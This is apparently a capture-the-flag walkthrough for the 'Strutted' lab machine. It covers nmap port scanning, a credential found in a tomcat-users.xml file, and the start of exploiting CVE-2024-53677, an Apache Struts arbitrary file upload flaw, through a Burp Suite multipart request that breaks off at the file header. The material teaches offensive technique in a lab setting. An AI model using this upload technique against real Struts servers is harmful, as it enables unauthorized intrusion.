Enumeration
We start by enumerating the open tcp ports on the target machine. This can be done using the nmap tool:
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.59 -oN allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We add dns resolution for target machine in /etc/hosts file
10.10.11.59 strutted.htb
Now we will scan the open ports with service version detection and script scanning using -sC and -sV options
nmap -sCV -p 22,80 10.10.11.59 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
We navigate to the web page and find an image upload feature.
We also see a download button, which allows us to see the source code of the web application.
We find a file named tomcat-users.xml which contains user credentials:
admin:skqKY6360z!Y
We also find that the website is using Apache Struts. We find a vulnerability in the Struts version being used: CVE-2024-53677.
This vulnerability allows for uploading files to arbitrary locations. We have to use the Upload and top.UploadFileName file parameters.
User Exploitation
This is the burpsuite request used for creating the malicious file:
POST /upload.action;jsessionid=663A2A8C0D6AB8FFF4FFB46F0ABF48EF HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------35054823964779281091771702135
Content-Length: 1962
Origin: http://strutted.htb
Connection: keep-alive
Referer: http://strutted.htb/
Cookie: JSESSIONID=663A2A8C0D6AB8FFF4FFB46F0ABF48EF
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------35054823964779281091771702135
Content-Disposition: form-data; name="Upload"; filename="image.png"
Content-Type: image/png
PNG